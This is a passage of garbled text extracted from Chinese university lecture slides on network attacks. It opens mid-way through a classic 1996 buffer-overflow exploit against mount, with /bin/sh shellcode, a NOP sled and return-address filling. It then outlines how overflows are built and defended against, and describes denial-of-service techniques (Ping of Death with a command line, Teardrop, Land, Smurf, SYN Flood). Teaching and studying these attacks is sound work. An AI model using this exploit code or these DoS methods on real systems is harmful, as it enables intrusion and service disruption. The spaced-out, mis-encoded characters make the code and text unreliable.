【文章內(nèi)容簡介】
4 \ x12 \ x35 \ x10 \ x56 \ x34 \ x12 \ x8d \ x4e \ x0b \ x8b \ xd1 \ x c d ” “ \ x80 \ x33 \ x c 0 \ x40 \ x c d \ x80 \ x e 8 \ xd7 \ x f f \ x f f \ x f f / b i n / s h ” 。 c h a r * b u f f e r = N U L L 。 u n s i g n e d l o n g * a d d r _ p t r = N U L L 。 c h a r * p t r = N U L L 。 i n t i 。 i n t o f s = D E F A U L T _ O F F S E T 。 All rights reserved 169。 2022, Southeast University Page 21 緩沖區(qū)溢出( 5) b u f f = m a l l o c ( 4 0 9 6 ) i f ( ! b u f f ) { p r i n t f ( “ c a n ? t a l l o c a t e m e m o r y \ n ” ) 。 e x i t ( 0 ) 。 } p t r = b u f f 。 / * f i l l s t a r t o f b u f f e r w i t h n o p s * / m e m s e t ( p t r , 0 x 9 0 , B U F F E R _ S I Z E s t r l e n ( e x e c s h e l l ) ) 。 p t r + = B U F F E R _ S I Z E s t r l e n ( e x e c s h e l l ) 。 / * s t i c k a s m c o d e i n t o t h e b u f f e r * / f o r ( i = 0 。 i s t r l e n ( e x e c s h e l l ) 。 i + + ) * ( p t r + + ) = e x e c s h e l l [ i ] 。 ad dr_p t r = ( l on g * ) pt r。 f o r ( i = 0 。 i ( 8 / 4 ) 。 i + + ) * ( a d d r _ p t r + + ) = g e t _ e s p ( ) + o f s 。 ptr = ( char * ) addr_p t r。 * ptr = 0。 (v oid) al arm (( u_ i nt ) 0 )。 pri ntf ( “ D i scov ered an d C od ed by B l oo dm ask an d V i o, C ov i n 1 99 6 \ n ” )。 ex ecl ( P A T H _M O U N T , “ m ou nt ” , bu ff , N U L L )。 } All rights reserved 169。 2022, Southeast University Page 22 緩沖區(qū)溢出( 6) ?緩沖區(qū)溢出程序組成 ? 準(zhǔn)備一段可以調(diào)出的 Shell代碼 ? 申請一個緩沖區(qū),將 Shell代碼填入緩沖區(qū)低端 ? 估算 Shell代碼在堆棧的可能起始位置,將該位置寫入緩沖區(qū)的高端 ? 將該緩沖區(qū)作為一個有著緩沖區(qū)溢出錯誤的一個入口參數(shù),并執(zhí)行該有著錯誤的程序 All rights reserved 169。 2022, Southeast University Page 23 緩沖區(qū)溢出( 7) ?漏洞與攻擊的分析 ? 代碼放置的方法 ? 殖入法 ? 利用已經(jīng)存在的代碼 ? 控制程序轉(zhuǎn)移的方法 ? 激活記錄( Activation Records) ? 函數(shù)指針( Founction Pointers) ? 長跳轉(zhuǎn)緩沖區(qū)( Longjmp buffers) ? 代碼殖入和流程控制技術(shù) ? 綜合代碼殖入和激活記錄 ? 把代碼作為參數(shù),利用緩沖區(qū)溢出改變程序的參數(shù),使程序指針指向 libc中特定的代碼段。 All rights reserved 169。 2022, Southeast University Page 24 緩沖區(qū)溢出( 8) ?緩沖區(qū)溢出的保護(hù) ? 編寫正確的代碼 ? 非執(zhí)行的緩沖區(qū) ? 數(shù)組邊界檢查 ? Compaq C編譯器 ? C的數(shù)組邊界檢查 ? 存儲器存取檢查 ? 類型 安全語言 ? 程序指針完整性檢查 ? 手寫的堆棧監(jiān)測 ? 堆棧保護(hù) ? 指針保護(hù) All rights reserved 169。 2022, Southeast University Page 25 拒絕服務(wù)攻擊( 1) ?拒絕服務(wù)概述 ? 拒絕服務(wù)( Denial of Service), 簡稱 DoS ? 主要表現(xiàn) ? 企圖湮沒一個網(wǎng)絡(luò),中斷正常的網(wǎng)絡(luò)流量 ? 企圖破壞兩個機(jī)器之間的連接,禁止訪問可用服務(wù) ? 企圖阻止某一特定用戶對網(wǎng)絡(luò)上服務(wù)的訪問 ? 企圖破壞一個特定系統(tǒng)或人,使其不能提供正常服務(wù) ?拒絕服務(wù)模式 ? 資源消耗型 ? 消耗網(wǎng)絡(luò)帶寬: ping, Finger, Smurf等 ? 消耗磁盤空間:大量 Mail信息、出錯 Log信息、垃圾文件(公開目錄,共享區(qū)域) ? 消耗 CPU資源和內(nèi)存共享 All rights reserved 169。 2022, Southeast University Page 26 拒絕服務(wù)攻擊( 2) ? 配置修改型 ? 改變路由信息 ? 修改 Windows NT注冊表 ? 修改 UNIX的各種配置文件 ? 物理破壞型 ? 計算機(jī),路由器,網(wǎng)絡(luò)配線室,網(wǎng)絡(luò)主干段,電源,其他設(shè)備等 ? 服務(wù)利用型:利用 TCP/IP協(xié)議棧的漏洞,如允許碎片包,大數(shù)據(jù)包, IP路由選擇,半公開 TCP連接,數(shù)據(jù)包 Flood等 ?拒絕服務(wù)常見手段分析 ? 死亡之 Ping( Ping of Death) ? 原理:向目標(biāo)端口發(fā)送大量超大尺寸的 ICMP包來實(shí)現(xiàn) ? 目標(biāo)平臺: Windows 9x ? 實(shí)現(xiàn):在命令行輸入“ ping _165535目標(biāo)主機(jī) ip” All rights reserved 169。 2022, Southeast University Page 27 拒絕服務(wù)攻擊( 3) ? Teardrop ? IP碎片入侵 原理:鏈路層具有最大傳輸單元 MTU特性,它限制了數(shù)據(jù)幀的最大長度。如果 IP層要傳輸?shù)臄?shù)據(jù)包長度超過了 MTU, 則 IP層就要對數(shù)據(jù)包進(jìn)行分片,使每片長度小于等于 MTU。 每一 IP分片各自路由,到達(dá)目的主機(jī)后在 IP層重組, IP首部中的數(shù)據(jù)保證正確完成分片的重組。若在 IP分組中指定一個非法的偏移值,將造成某些協(xié)議軟件出現(xiàn)緩沖區(qū)覆蓋,導(dǎo)致系統(tǒng)崩潰。 ? 目標(biāo)平臺: Linux/ Windows 9x/NT ? 實(shí)現(xiàn):默認(rèn)發(fā)送兩個 UDP數(shù)據(jù)包 – 第一個: MF=1, 偏移量 =0,作為 IP包的第一個分片 – 第二個: MF=0, 偏移量 =0x3, 偏移字節(jié)數(shù) 0x3*8=24, 為最后一個分片 – 接收端重組分組的過程 20 8 28IP UDP Date20 4IP DateAll rights reserved 169。 2022, Southeast University Page 28 拒絕服務(wù)攻擊( 4) ? Land ? 原理:向目標(biāo)機(jī)發(fā)送源地址與目的地址一樣的數(shù)據(jù)包,造成目標(biāo)機(jī)解析Land包占用太多資源,從而使網(wǎng)絡(luò)功能完全癱瘓。 ? 目標(biāo)平臺: Linux、 UNIX、 Windows 9x/NT ? 后果:造成死鎖使系統(tǒng)崩潰 ? Smurf ? 原理:結(jié)合使用 IP欺騙和 ICMP回復(fù)方法使大量網(wǎng)絡(luò)傳輸充斥目標(biāo)系統(tǒng),導(dǎo)致目標(biāo)系統(tǒng)拒絕為正常系統(tǒng)進(jìn)行服務(wù)。 ? 目標(biāo)平臺:任何應(yīng)答 ICMP數(shù)據(jù)的系統(tǒng) 20 8 28IP UDP Date24 4FO DateAll rights reserved 169。 2022, Southeast University Page 29 拒絕服務(wù)攻擊( 5) ? SYN Flood ? 原理:正常的一個 TCP連接需要連接雙方進(jìn)行 3個動作,即“三次握手”??梢岳眠@一過程,建立數(shù)以萬計的半連接,消耗掉 CPU的時間及內(nèi)存,使服務(wù)器無法回應(yīng)正常用戶的請求。 ? 防范:縮短 SYN Timeout時間;設(shè)置 SYN Cookie等 All rights reserved 169。